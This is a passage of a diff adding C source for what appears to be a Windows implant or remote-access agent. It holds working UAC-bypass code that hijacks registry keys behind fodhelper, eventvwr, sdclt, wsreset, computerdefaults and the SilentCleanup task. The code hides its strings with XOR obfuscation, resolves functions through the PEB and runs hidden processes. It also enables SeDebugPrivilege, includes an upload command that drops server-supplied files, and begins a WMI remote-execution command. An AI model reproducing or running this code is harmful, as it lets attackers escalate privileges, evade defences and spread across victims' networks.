char tmp[MAX_PATH];
|
||||
GetTempPathA((DWORD)sizeof(tmp), tmp);
|
||||
char staged[MAX_PATH];
|
||||
char _pfx[8];
|
||||
EVS_D(_pfx, EVS_str_WinMgmt);
|
||||
snprintf(staged, sizeof(staged), "%s%s%04lX.exe",
|
||||
tmp, _pfx, (unsigned long)(GetTickCount() & 0xFFFF));
|
||||
SecureZeroMemory(_pfx, sizeof(_pfx));
|
||||
|
||||
if (!CopyFileA(lifter_path, staged, FALSE))
|
||||
return snprintf(out, outsz, "e:cp %lu\n", GetLastError()), -1;
|
||||
|
||||
char exec[MAX_PATH * 2 + 8];
|
||||
snprintf(exec, sizeof(exec), "\"%s\" \"%s\"", staged, agent_path);
|
||||
|
||||
STARTUPINFOA si = { sizeof(si) };
|
||||
si.dwFlags = STARTF_USESHOWWINDOW;
|
||||
si.wShowWindow = SW_HIDE;
|
||||
PROCESS_INFORMATION pi = {0};
|
||||
|
||||
if (!CreateProcessA(NULL, exec, NULL, NULL, FALSE,
|
||||
CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
|
||||
DeleteFileA(staged);
|
||||
return snprintf(out, outsz, "e:cr %lu\n", GetLastError()), -1;
|
||||
}
|
||||
|
||||
WaitForSingleObject(pi.hProcess, 6000);
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
DeleteFileA(staged);
|
||||
|
||||
return snprintf(out, outsz, "ok\n");
|
||||
}
|
||||
|
||||
static int bypass_fodhelper(const char *cmdline, char *out, size_t outsz)
|
||||
{
|
||||
evasion_apply_thread(GetCurrentThread());
|
||||
|
||||
char _ms[12], _de[16];
|
||||
EVS_D(_ms, EVS_str_ms_settings);
|
||||
EVS_D(_de, EVS_str_DelegateExecute);
|
||||
|
||||
char key[128], root[64];
|
||||
snprintf(key, sizeof(key), "Software\\Classes\\%s\\shell\\open\\command", _ms);
|
||||
snprintf(root, sizeof(root), "Software\\Classes\\%s", _ms);
|
||||
SecureZeroMemory(_ms, sizeof(_ms));
|
||||
|
||||
char sys32[MAX_PATH], fod[MAX_PATH + 16];
|
||||
GetSystemDirectoryA(sys32, MAX_PATH);
|
||||
char _fn[14];
|
||||
EVS_D(_fn, EVS_str_fodhelper_exe);
|
||||
snprintf(fod, sizeof(fod), "%s\\%s", sys32, _fn);
|
||||
SecureZeroMemory(_fn, sizeof(_fn));
|
||||
|
||||
char safe[2048 + MAX_PATH + 4] = {0};
|
||||
make_safe_cmd(cmdline, safe, sizeof(safe));
|
||||
|
||||
if (reg_set_sz(HKEY_CURRENT_USER, key, NULL, safe) != 0 ||
|
||||
reg_set_sz(HKEY_CURRENT_USER, key, _de, "") != 0) {
|
||||
SecureZeroMemory(_de, sizeof(_de));
|
||||
reg_del_tree(HKEY_CURRENT_USER, root);
|
||||
return snprintf(out, outsz, "e:reg\n"), -1;
|
||||
}
|
||||
SecureZeroMemory(_de, sizeof(_de));
|
||||
|
||||
shell_exec_wait(fod, 2000);
|
||||
reg_del_tree(HKEY_CURRENT_USER, root);
|
||||
|
||||
return snprintf(out, outsz, "ok\n");
|
||||
}
|
||||
|
||||
static int bypass_computerdefaults(const char *cmdline, char *out, size_t outsz)
|
||||
{
|
||||
evasion_apply_thread(GetCurrentThread());
|
||||
|
||||
char _ms[12], _de[16];
|
||||
EVS_D(_ms, EVS_str_ms_settings);
|
||||
EVS_D(_de, EVS_str_DelegateExecute);
|
||||
|
||||
char key[128], root[64];
|
||||
snprintf(key, sizeof(key), "Software\\Classes\\%s\\shell\\open\\command", _ms);
|
||||
snprintf(root, sizeof(root), "Software\\Classes\\%s", _ms);
|
||||
SecureZeroMemory(_ms, sizeof(_ms));
|
||||
|
||||
char sys32[MAX_PATH], bin[MAX_PATH + 24];
|
||||
GetSystemDirectoryA(sys32, MAX_PATH);
|
||||
char _fn[21];
|
||||
EVS_D(_fn, EVS_str_computerdefaults_exe);
|
||||
snprintf(bin, sizeof(bin), "%s\\%s", sys32, _fn);
|
||||
SecureZeroMemory(_fn, sizeof(_fn));
|
||||
|
||||
char safe[2048 + MAX_PATH + 4] = {0};
|
||||
make_safe_cmd(cmdline, safe, sizeof(safe));
|
||||
|
||||
if (reg_set_sz(HKEY_CURRENT_USER, key, NULL, safe) != 0 ||
|
||||
reg_set_sz(HKEY_CURRENT_USER, key, _de, "") != 0) {
|
||||
SecureZeroMemory(_de, sizeof(_de));
|
||||
reg_del_tree(HKEY_CURRENT_USER, root);
|
||||
return snprintf(out, outsz, "e:reg\n"), -1;
|
||||
}
|
||||
SecureZeroMemory(_de, sizeof(_de));
|
||||
|
||||
shell_exec_wait(bin, 2000);
|
||||
reg_del_tree(HKEY_CURRENT_USER, root);
|
||||
|
||||
return snprintf(out, outsz, "ok\n");
|
||||
}
|
||||
|
||||
static int bypass_wsreset(const char *cmdline, char *out, size_t outsz)
|
||||
{
|
||||
evasion_apply_thread(GetCurrentThread());
|
||||
|
||||
char _clsid[36];
|
||||
EVS_D(_clsid, EVS_str_wsreset_clsid);
|
||||
|
||||
char key[192], root[128];
|
||||
snprintf(key, sizeof(key), "Software\\Classes\\%s\\Shell\\open\\command", _clsid);
|
||||
snprintf(root, sizeof(root), "Software\\Classes\\%s", _clsid);
|
||||
SecureZeroMemory(_clsid, sizeof(_clsid));
|
||||
|
||||
char sys32[MAX_PATH], bin[MAX_PATH + 16];
|
||||
GetSystemDirectoryA(sys32, MAX_PATH);
|
||||
char _fn[12];
|
||||
EVS_D(_fn, EVS_str_wsreset_exe);
|
||||
snprintf(bin, sizeof(bin), "%s\\%s", sys32, _fn);
|
||||
SecureZeroMemory(_fn, sizeof(_fn));
|
||||
|
||||
if (GetFileAttributesA(bin) == INVALID_FILE_ATTRIBUTES) {
|
||||
return snprintf(out, outsz, "e:nf\n"), -1;
|
||||
}
|
||||
|
||||
char safe[2048 + MAX_PATH + 4] = {0};
|
||||
make_safe_cmd(cmdline, safe, sizeof(safe));
|
||||
|
||||
if (reg_set_sz(HKEY_CURRENT_USER, key, NULL, safe) != 0) {
|
||||
reg_del_tree(HKEY_CURRENT_USER, root);
|
||||
return snprintf(out, outsz, "e:reg\n"), -1;
|
||||
}
|
||||
|
||||
shell_exec_wait(bin, 3000);
|
||||
reg_del_tree(HKEY_CURRENT_USER, root);
|
||||
|
||||
return snprintf(out, outsz, "ok\n");
|
||||
}
|
||||
|
||||
static int bypass_sdclt(const char *cmdline, char *out, size_t outsz)
|
||||
{
|
||||
evasion_apply_thread(GetCurrentThread());
|
||||
|
||||
char _ef[8];
|
||||
EVS_D(_ef, EVS_str_exefile);
|
||||
|
||||
char key[128], root[64];
|
||||
snprintf(key, sizeof(key), "Software\\Classes\\%s\\shell\\runas\\command", _ef);
|
||||
snprintf(root, sizeof(root), "Software\\Classes\\%s", _ef);
|
||||
SecureZeroMemory(_ef, sizeof(_ef));
|
||||
|
||||
char safe[2048 + MAX_PATH + 4] = {0};
|
||||
make_safe_cmd(cmdline, safe, sizeof(safe));
|
||||
|
||||
if (reg_set_sz(HKEY_CURRENT_USER, key, NULL, safe) != 0) {
|
||||
reg_del_tree(HKEY_CURRENT_USER, root);
|
||||
return snprintf(out, outsz, "e:reg\n"), -1;
|
||||
}
|
||||
|
||||
char sys32[MAX_PATH], sdp[MAX_PATH + 16];
|
||||
GetSystemDirectoryA(sys32, MAX_PATH);
|
||||
char _fn[10];
|
||||
EVS_D(_fn, EVS_str_sdclt_exe);
|
||||
snprintf(sdp, sizeof(sdp), "%s\\%s", sys32, _fn);
|
||||
SecureZeroMemory(_fn, sizeof(_fn));
|
||||
|
||||
typedef BOOL (WINAPI *fnSEE)(SHELLEXECUTEINFOW *);
|
||||
static fnSEE pSEE = NULL;
|
||||
if (!pSEE) {
|
||||
char _sh[16], _dl[12];
|
||||
EVS_D(_sh, EVS_fn_ShellExecuteExW);
|
||||
EVS_D(_dl, EVS_dll_shell32);
|
||||
HMODULE h = _peb_module(_dl);
|
||||
SecureZeroMemory(_dl, sizeof(_dl));
|
||||
if (h) pSEE = (fnSEE)(void*)GetProcAddress(h, _sh);
|
||||
SecureZeroMemory(_sh, sizeof(_sh));
|
||||
}
|
||||
if (pSEE) {
|
||||
WCHAR *wpath = to_wide(sdp);
|
||||
if (wpath) {
|
||||
SHELLEXECUTEINFOW sei = {0};
|
||||
sei.cbSize = sizeof(sei);
|
||||
sei.fMask = SEE_MASK_NOCLOSEPROCESS | SEE_MASK_FLAG_NO_UI;
|
||||
sei.lpVerb = L"open";
|
||||
sei.lpFile = wpath;
|
||||
sei.lpParameters = L"/KickOffElev";
|
||||
sei.nShow = SW_HIDE;
|
||||
pSEE(&sei);
|
||||
Sleep(400);
|
||||
if (sei.hProcess) CloseHandle(sei.hProcess);
|
||||
free(wpath);
|
||||
}
|
||||
}
|
||||
|
||||
reg_del_tree(HKEY_CURRENT_USER, root);
|
||||
return snprintf(out, outsz, "ok\n");
|
||||
}
|
||||
|
||||
static int bypass_eventvwr(const char *cmdline, char *out, size_t outsz)
|
||||
{
|
||||
evasion_apply_thread(GetCurrentThread());
|
||||
|
||||
char _mf[8];
|
||||
EVS_D(_mf, EVS_str_mscfile);
|
||||
|
||||
char key[128], root[64];
|
||||
snprintf(key, sizeof(key), "Software\\Classes\\%s\\shell\\open\\command", _mf);
|
||||
snprintf(root, sizeof(root), "Software\\Classes\\%s", _mf);
|
||||
SecureZeroMemory(_mf, sizeof(_mf));
|
||||
|
||||
char safe[2048 + MAX_PATH + 4] = {0};
|
||||
make_safe_cmd(cmdline, safe, sizeof(safe));
|
||||
|
||||
if (reg_set_sz(HKEY_CURRENT_USER, key, NULL, safe) != 0) {
|
||||
reg_del_tree(HKEY_CURRENT_USER, root);
|
||||
return snprintf(out, outsz, "e:reg\n"), -1;
|
||||
}
|
||||
|
||||
char sys32[MAX_PATH], evtw[MAX_PATH + 16];
|
||||
GetSystemDirectoryA(sys32, MAX_PATH);
|
||||
char _fn[13];
|
||||
EVS_D(_fn, EVS_str_eventvwr_exe);
|
||||
snprintf(evtw, sizeof(evtw), "%s\\%s", sys32, _fn);
|
||||
SecureZeroMemory(_fn, sizeof(_fn));
|
||||
|
||||
shell_exec_wait(evtw, 2000);
|
||||
reg_del_tree(HKEY_CURRENT_USER, root);
|
||||
|
||||
return snprintf(out, outsz, "ok\n");
|
||||
}
|
||||
|
||||
static int bypass_diskcleanup(const char *cmdline, char *out, size_t outsz)
|
||||
{
|
||||
evasion_apply_thread(GetCurrentThread());
|
||||
|
||||
char _ev[12], _wd[7];
|
||||
EVS_D(_ev, EVS_str_Environment);
|
||||
EVS_D(_wd, EVS_str_windir);
|
||||
|
||||
char hijacked[2048 + MAX_PATH + 32] = {0};
|
||||
snprintf(hijacked, sizeof(hijacked), "cmd /K \"%s\" & REM ", cmdline);
|
||||
|
||||
if (reg_set_sz(HKEY_CURRENT_USER, _ev, _wd, hijacked) != 0) {
|
||||
SecureZeroMemory(_ev, sizeof(_ev));
|
||||
SecureZeroMemory(_wd, sizeof(_wd));
|
||||
return snprintf(out, outsz, "e:wd\n"), -1;
|
||||
}
|
||||
|
||||
char sys32[MAX_PATH], sched[MAX_PATH + 16];
|
||||
GetSystemDirectoryA(sys32, MAX_PATH);
|
||||
char _sfn[13];
|
||||
EVS_D(_sfn, EVS_str_schtasks_exe);
|
||||
snprintf(sched, sizeof(sched), "%s\\%s", sys32, _sfn);
|
||||
SecureZeroMemory(_sfn, sizeof(_sfn));
|
||||
|
||||
char _sc[14];
|
||||
EVS_D(_sc, EVS_str_SilentCleanup);
|
||||
char taskpath[64];
|
||||
snprintf(taskpath, sizeof(taskpath), "\\Microsoft\\Windows\\DiskCleanup\\%s", _sc);
|
||||
SecureZeroMemory(_sc, sizeof(_sc));
|
||||
|
||||
char full_cmd[MAX_PATH + 128];
|
||||
snprintf(full_cmd, sizeof(full_cmd),
|
||||
"\"%s\" /Run /TN \"%s\" /I", sched, taskpath);
|
||||
|
||||
STARTUPINFOA si = { sizeof(si) };
|
||||
si.dwFlags = STARTF_USESHOWWINDOW;
|
||||
si.wShowWindow = SW_HIDE;
|
||||
PROCESS_INFORMATION pi = {0};
|
||||
|
||||
BOOL ok = CreateProcessA(NULL, full_cmd, NULL, NULL, FALSE,
|
||||
CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
|
||||
if (ok) {
|
||||
WaitForSingleObject(pi.hProcess, 3000);
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
}
|
||||
|
||||
Sleep(4000);
|
||||
|
||||
HKEY henv = NULL;
|
||||
if (RegOpenKeyExA(HKEY_CURRENT_USER, _ev, 0, KEY_SET_VALUE, &henv) == ERROR_SUCCESS) {
|
||||
RegDeleteValueA(henv, _wd);
|
||||
RegCloseKey(henv);
|
||||
}
|
||||
SecureZeroMemory(_ev, sizeof(_ev));
|
||||
SecureZeroMemory(_wd, sizeof(_wd));
|
||||
|
||||
if (!ok)
|
||||
return snprintf(out, outsz, "e:st %lu\n", GetLastError()), -1;
|
||||
|
||||
return snprintf(out, outsz, "ok\n");
|
||||
}
|
||||
|
||||
static int bypass_runas(const char *cmdline, char *out, size_t outsz)
|
||||
{
|
||||
if (!cmdline || !*cmdline)
|
||||
return snprintf(out, outsz, "e:0\n"), -1;
|
||||
|
||||
WCHAR *exe_w = to_wide(cmdline);
|
||||
if (!exe_w) return snprintf(out, outsz, "e:w\n"), -1;
|
||||
|
||||
typedef BOOL (WINAPI *fnSEE)(SHELLEXECUTEINFOW *);
|
||||
static fnSEE pSEE = NULL;
|
||||
if (!pSEE) {
|
||||
char _sh[16], _dl[12];
|
||||
EVS_D(_sh, EVS_fn_ShellExecuteExW);
|
||||
EVS_D(_dl, EVS_dll_shell32);
|
||||
HMODULE h = _peb_module(_dl);
|
||||
if (!h) h = LoadLibraryA(_dl);
|
||||
SecureZeroMemory(_dl, sizeof(_dl));
|
||||
if (h) pSEE = (fnSEE)(void*)GetProcAddress(h, _sh);
|
||||
SecureZeroMemory(_sh, sizeof(_sh));
|
||||
}
|
||||
if (!pSEE) { free(exe_w); return snprintf(out, outsz, "e:see\n"), -1; }
|
||||
|
||||
SHELLEXECUTEINFOW sei = {0};
|
||||
sei.cbSize = sizeof(sei);
|
||||
sei.fMask = SEE_MASK_NOCLOSEPROCESS;
|
||||
sei.lpVerb = L"runas";
|
||||
sei.lpFile = exe_w;
|
||||
sei.lpParameters = L"";
|
||||
sei.nShow = SW_SHOW;
|
||||
|
||||
BOOL ok = pSEE(&sei);
|
||||
DWORD err = GetLastError();
|
||||
free(exe_w);
|
||||
|
||||
if (!ok) {
|
||||
if (err == ERROR_CANCELLED)
|
||||
return snprintf(out, outsz, "e:u\n"), -1;
|
||||
return snprintf(out, outsz, "e:se %lu\n", err), -1;
|
||||
}
|
||||
|
||||
if (sei.hProcess) {
|
||||
WaitForSingleObject(sei.hProcess, 3000);
|
||||
CloseHandle(sei.hProcess);
|
||||
} else {
|
||||
Sleep(3000);
|
||||
}
|
||||
|
||||
return snprintf(out, outsz, "ok\n");
|
||||
}
|
||||
|
||||
static void _enable_sedebug(void);
|
||||
|
||||
int cmd_uacbypass(const char *args, char *output_buf, size_t output_size)
|
||||
{
|
||||
memset(output_buf, 0, output_size);
|
||||
|
||||
int il = get_integrity_level();
|
||||
|
||||
if (il >= IL_SYSTEM) {
|
||||
snprintf(output_buf, output_size, "ok:s\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (il >= IL_HIGH) {
|
||||
_enable_sedebug();
|
||||
return cmd_getsystem(NULL, output_buf, output_size);
|
||||
}
|
||||
|
||||
{
|
||||
HANDLE htok = NULL;
|
||||
TOKEN_ELEVATION_TYPE etype = TokenElevationTypeDefault;
|
||||
{ const adv_api_t *_a = adv_get();
|
||||
if (_a->OpenProcessToken && _a->OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &htok)) {
|
||||
DWORD tsz = sizeof(etype);
|
||||
GetTokenInformation(htok, TokenElevationType, &etype, tsz, &tsz);
|
||||
CloseHandle(htok);
|
||||
}
|
||||
}
|
||||
if (etype != TokenElevationTypeLimited) {
|
||||
snprintf(output_buf, output_size, "e:il\n");
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
{
|
||||
HKEY hpol = NULL;
|
||||
DWORD consent = 0xFFFF, psz = sizeof(consent);
|
||||
{ char _rp[57], _rv[28]; volatile unsigned char _k = EVS_KEY;
|
||||
for (int _i = 0; _i < (int)sizeof(EVS_str_reg_policies_system); _i++)
|
||||
_rp[_i] = (char)(EVS_str_reg_policies_system[_i] ^ _k);
|
||||
_rp[sizeof(EVS_str_reg_policies_system)] = '\0';
|
||||
for (int _i = 0; _i < (int)sizeof(EVS_str_ConsentPromptBehaviorAdmin); _i++)
|
||||
_rv[_i] = (char)(EVS_str_ConsentPromptBehaviorAdmin[_i] ^ _k);
|
||||
_rv[sizeof(EVS_str_ConsentPromptBehaviorAdmin)] = '\0';
|
||||
if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, _rp, 0, KEY_QUERY_VALUE, &hpol) == ERROR_SUCCESS) {
|
||||
RegQueryValueExA(hpol, _rv, NULL, NULL, (BYTE *)&consent, &psz);
|
||||
RegCloseKey(hpol);
|
||||
}
|
||||
SecureZeroMemory(_rp, sizeof(_rp)); SecureZeroMemory(_rv, sizeof(_rv)); }
|
||||
size_t _diag_off = strlen(output_buf);
|
||||
if (_diag_off < output_size - 1)
|
||||
snprintf(output_buf + _diag_off, output_size - _diag_off,
|
||||
"cp=%lu\n", consent);
|
||||
}
|
||||
|
||||
evasion_apply_thread(GetCurrentThread());
|
||||
|
||||
{
|
||||
char own_id[AGENT_ID_LEN + 1];
|
||||
agent_gen_id(own_id);
|
||||
agent_write_parent_id(own_id);
|
||||
}
|
||||
|
||||
char method[32] = "auto";
|
||||
char cmdline[2048] = {0};
|
||||
|
||||
char _m_auto[] = {'a','u','t','o',0};
|
||||
char _m_com[] = {'c','o','m',0};
|
||||
char _m_lft[] = {'l','i','f','t','e','r',0};
|
||||
char _m_fod[] = {'f','o','d','h','e','l','p','e','r',0};
|
||||
char _m_sdc[] = {'s','d','c','l','t',0};
|
||||
char _m_cdf[] = {'c','o','m','p','u','t','e','r','d','e','f','a','u','l','t','s',0};
|
||||
char _m_wsr[] = {'w','s','r','e','s','e','t',0};
|
||||
char _m_evt[] = {'e','v','e','n','t','v','w','r',0};
|
||||
char _m_dck[] = {'d','i','s','k','c','l','e','a','n','u','p',0};
|
||||
char _m_run[] = {'r','u','n','a','s',0};
|
||||
|
||||
if (!args || !*args) {
|
||||
GetModuleFileNameA(NULL, cmdline, sizeof(cmdline) - 1);
|
||||
} else {
|
||||
const char *p = args;
|
||||
char first[64] = {0};
|
||||
int i = 0;
|
||||
while (*p && *p != ' ' && i < 63) first[i++] = *p++;
|
||||
while (*p == ' ') p++;
|
||||
|
||||
if (strcmp(first, _m_auto) == 0 || strcmp(first, _m_com) == 0 ||
|
||||
strcmp(first, _m_lft) == 0 ||
|
||||
strcmp(first, _m_fod) == 0 || strcmp(first, _m_sdc) == 0 ||
|
||||
strcmp(first, _m_cdf) == 0 || strcmp(first, _m_wsr) == 0 ||
|
||||
strcmp(first, _m_evt) == 0 || strcmp(first, _m_dck) == 0 ||
|
||||
strcmp(first, _m_run) == 0) {
|
||||
strncpy(method, first, sizeof(method) - 1);
|
||||
method[sizeof(method) - 1] = '\0';
|
||||
if (*p) { strncpy(cmdline, p, sizeof(cmdline) - 1); cmdline[sizeof(cmdline) - 1] = '\0'; }
|
||||
else GetModuleFileNameA(NULL, cmdline, sizeof(cmdline) - 1);
|
||||
} else {
|
||||
strncpy(cmdline, args, sizeof(cmdline) - 1);
|
||||
}
|
||||
}
|
||||
|
||||
char self_name[MAX_PATH] = {0};
|
||||
GetModuleFileNameA(NULL, self_name, sizeof(self_name) - 1);
|
||||
const char *bn = strrchr(self_name, '\\');
|
||||
bn = bn ? bn + 1 : self_name;
|
||||
|
||||
int before = count_proc(bn);
|
||||
int rc = -1;
|
||||
|
||||
#define TRY_BYPASS(fn_name, label) do { \
|
||||
agent_write_gs_flag(); \
|
||||
size_t _off = strlen(output_buf); \
|
||||
char *_b = (_off + 1 < output_size) ? output_buf + _off : output_buf + output_size - 1; \
|
||||
size_t _z = (_off + 1 < output_size) ? output_size - _off : 1; \
|
||||
rc = fn_name(cmdline, _b, _z); \
|
||||
if (rc >= 0) { \
|
||||
int after = before, gs_gone = 0; \
|
||||
for (int _w = 0; _w < 6; _w++) { \
|
||||
after = count_proc(bn); \
|
||||
gs_gone = !agent_gs_flag_exists(); \
|
||||
if (after > before || gs_gone) break; \
|
||||
Sleep(1000); \
|
||||
} \
|
||||
if (after > before || gs_gone) { \
|
||||
if (!after && gs_gone) { \
|
||||
size_t _gg = strlen(output_buf); \
|
||||
if (_gg + 1 < output_size) \
|
||||
snprintf(output_buf + _gg, output_size - _gg, "ok:gs\n"); \
|
||||
} \
|
||||
goto spawned; \
|
||||
} \
|
||||
rc = -1; \
|
||||
} \
|
||||
} while(0)
|
||||
|
||||
if (strcmp(method, _m_lft) == 0) {
|
||||
TRY_BYPASS(bypass_lifter, "lifter");
|
||||
} else if (strcmp(method, _m_run) == 0) {
|
||||
TRY_BYPASS(bypass_runas, "runas");
|
||||
} else if (strcmp(method, _m_com) == 0) {
|
||||
size_t _o0 = strlen(output_buf);
|
||||
rc = bypass_com(cmdline,
|
||||
output_buf + _o0,
|
||||
_o0 < output_size ? output_size - _o0 : 1);
|
||||
} else if (strcmp(method, _m_fod) == 0) {
|
||||
TRY_BYPASS(bypass_fodhelper, "fodhelper");
|
||||
} else if (strcmp(method, _m_sdc) == 0) {
|
||||
TRY_BYPASS(bypass_sdclt, "sdclt");
|
||||
} else if (strcmp(method, _m_cdf) == 0) {
|
||||
TRY_BYPASS(bypass_computerdefaults, "computerdefaults");
|
||||
} else if (strcmp(method, _m_wsr) == 0) {
|
||||
TRY_BYPASS(bypass_wsreset, "wsreset");
|
||||
} else if (strcmp(method, _m_evt) == 0) {
|
||||
TRY_BYPASS(bypass_eventvwr, "eventvwr");
|
||||
} else if (strcmp(method, _m_dck) == 0) {
|
||||
TRY_BYPASS(bypass_diskcleanup, "diskcleanup");
|
||||
} else {
|
||||
TRY_BYPASS(bypass_lifter, "lifter");
|
||||
TRY_BYPASS(bypass_eventvwr, "eventvwr");
|
||||
TRY_BYPASS(bypass_diskcleanup, "diskcleanup");
|
||||
TRY_BYPASS(bypass_fodhelper, "fodhelper");
|
||||
TRY_BYPASS(bypass_computerdefaults, "computerdefaults");
|
||||
TRY_BYPASS(bypass_sdclt, "sdclt");
|
||||
TRY_BYPASS(bypass_wsreset, "wsreset");
|
||||
{
|
||||
size_t _oc = strlen(output_buf);
|
||||
char *_bc = (_oc + 1 < output_size) ? output_buf + _oc : output_buf + output_size - 1;
|
||||
size_t _zc = (_oc + 1 < output_size) ? output_size - _oc : 1;
|
||||
agent_write_gs_flag();
|
||||
int _before_c = before;
|
||||
int _com_rc = bypass_com(cmdline, _bc, _zc);
|
||||
if (_com_rc >= 0) {
|
||||
Sleep(2000);
|
||||
int _after_c = count_proc(bn);
|
||||
int _gs_c = !agent_gs_flag_exists();
|
||||
if (_after_c > _before_c || _gs_c) { rc = 0; goto spawned; }
|
||||
}
|
||||
}
|
||||
TRY_BYPASS(bypass_runas, "runas");
|
||||
}
|
||||
|
||||
{
|
||||
size_t off = strlen(output_buf);
|
||||
if (off < output_size - 1)
|
||||
snprintf(output_buf + off, output_size - off, "e:all\n");
|
||||
}
|
||||
return -1;
|
||||
|
||||
spawned:;
|
||||
{
|
||||
size_t off = strlen(output_buf);
|
||||
if (off < output_size - 1)
|
||||
snprintf(output_buf + off, output_size - off, "ok\n");
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static void _enable_sedebug(void)
|
||||
{
|
||||
const adv_api_t *adv = adv_get();
|
||||
if (!adv->OpenProcessToken || !adv->LookupPrivilegeValueA || !adv->AdjustTokenPrivileges)
|
||||
return;
|
||||
HANDLE htok = NULL;
|
||||
if (!adv->OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &htok)) return;
|
||||
LUID luid;
|
||||
char _sd[20]; { volatile unsigned char _k = EVS_KEY;
|
||||
for (int _i = 0; _i < (int)sizeof(EVS_str_SeDebugPrivilege); _i++)
|
||||
_sd[_i] = (char)(EVS_str_SeDebugPrivilege[_i] ^ _k);
|
||||
_sd[sizeof(EVS_str_SeDebugPrivilege)] = '\0'; }
|
||||
if (adv->LookupPrivilegeValueA(NULL, _sd, &luid)) {
|
||||
TOKEN_PRIVILEGES tp;
|
||||
tp.PrivilegeCount = 1;
|
||||
tp.Privileges[0].Luid = luid;
|
||||
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
adv->AdjustTokenPrivileges(htok, FALSE, &tp, 0, NULL, NULL);
|
||||
}
|
||||
CloseHandle(htok);
|
||||
}
|
||||
|
||||
int cmd_privesc(char *out, size_t sz)
|
||||
{
|
||||
return cmd_uacbypass(NULL, out, sz);
|
||||
}
|
||||
@@ -0,0 +1,55 @@
|
||||
#include "commands.h"
|
||||
#include "crypto.h"
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
/* decode base64 data from server and write it to local_path */
|
||||
int cmd_upload(const char *local_path, const char *data_b64,
|
||||
char *output_buf, size_t output_size)
|
||||
{
|
||||
if (!local_path || !data_b64 || !output_buf) return -1;
|
||||
|
||||
size_t raw_len = 0;
|
||||
uint8_t *raw = base64_decode(data_b64, &raw_len);
|
||||
if (!raw) {
|
||||
snprintf(output_buf, output_size, "[upload] base64 decode failed\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
HANDLE fh = CreateFileA(
|
||||
local_path,
|
||||
GENERIC_WRITE,
|
||||
0,
|
||||
NULL,
|
||||
CREATE_ALWAYS,
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
NULL
|
||||
);
|
||||
|
||||
if (fh == INVALID_HANDLE_VALUE) {
|
||||
snprintf(output_buf, output_size,
|
||||
"[upload] CreateFile failed: %lu (path: %s)\n",
|
||||
GetLastError(), local_path);
|
||||
free(raw);
|
||||
return -1;
|
||||
}
|
||||
|
||||
DWORD written = 0;
|
||||
BOOL ok = WriteFile(fh, raw, (DWORD)raw_len, &written, NULL);
|
||||
CloseHandle(fh);
|
||||
free(raw);
|
||||
|
||||
if (!ok || written != (DWORD)raw_len) {
|
||||
snprintf(output_buf, output_size,
|
||||
"[upload] WriteFile failed: %lu (wrote %lu / %zu bytes)\n",
|
||||
GetLastError(), written, raw_len);
|
||||
return -1;
|
||||
}
|
||||
|
||||
snprintf(output_buf, output_size,
|
||||
"[upload] OK - wrote %zu bytes to %s\n",
|
||||
raw_len, local_path);
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,191 @@
|
||||
#include "commands.h"
|
||||
#include "evs_strings.h"
|
||||
#include <windows.h>
|
||||
#include <objbase.h>
|
||||
#include <wbemcli.h>
|
||||
#include <oleauto.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
static const CLSID _clsid_WbemLocator =
|
||||
{0x4590f811,0x1d3a,0x11d0,{0x89,0x1f,0x00,0xaa,0x00,0x4b,0x2e,0x24}};
|
||||
static const IID _iid_IWbemLocator =
|
||||
{0xdc12a687,0x737f,0x11cf,{0x88,0x4d,0x00,0xaa,0x00,0x4b,0x2e,0x24}};
|
||||
|
||||
static BSTR _mbstr(const char *s)
|
||||
{
|
||||
int n = MultiByteToWideChar(CP_ACP, 0, s, -1, NULL, 0);
|
||||
if (n <= 0) return NULL;
|
||||
WCHAR *ws = (WCHAR *)malloc((size_t)n * sizeof(WCHAR));
|
||||
if (!ws) return NULL;
|
||||
MultiByteToWideChar(CP_ACP, 0, s, -1, ws, n);
|
||||
BSTR b = SysAllocString(ws);
|
||||
free(ws);
|
||||
return b;
|
||||
}
|
||||
|
||||
int cmd_wmiexec(const char *host, const char *cmdline,
|
||||
char *output_buf, size_t output_size)
|
||||
{
|
||||
if (!host || !host[0] || !cmdline || !cmdline[0]) {
|
||||
snprintf(output_buf, output_size,
|
||||
"[wmiexec] usage: wmiexec <host> <cmdline>\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
HRESULT hr;
|
||||
BOOL co_init = FALSE;
|
||||
int rc = -1;
|
||||
|
||||
IWbemLocator *pLoc = NULL;
|
||||
IWbemServices *pSvc = NULL;
|
||||
IWbemClassObject *pClass = NULL;
|
||||
IWbemClassObject *pInCls = NULL;
|
||||
IWbemClassObject *pIn = NULL;
|
||||
IWbemClassObject *pOut = NULL;
|
||||
BSTR bNS = NULL, bCls = NULL, bMeth = NULL;
|
||||
|
||||
hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
|
||||
if (SUCCEEDED(hr)) {
|
||||
co_init = TRUE;
|
||||
} else if (hr != RPC_E_CHANGED_MODE) {
|
||||
snprintf(output_buf, output_size,
|
||||
"[wmiexec] CoInitializeEx: 0x%08lx\n", (unsigned long)hr);
|
||||
return -1;
|
||||
}
|
||||
|
||||
CoInitializeSecurity(NULL, -1, NULL, NULL,
|
||||
RPC_C_AUTHN_LEVEL_DEFAULT,
|
||||
RPC_C_IMP_LEVEL_IMPERSONATE,
|
||||
NULL, EOAC_NONE, NULL);
|
||||
|
||||
hr = CoCreateInstance(&_clsid_WbemLocator, NULL, CLSCTX_INPROC_SERVER,
|
||||
&_iid_IWbemLocator, (void **)&pLoc);
|
||||
if (FAILED(hr)) {
|
||||
snprintf(output_buf, output_size,
|
||||
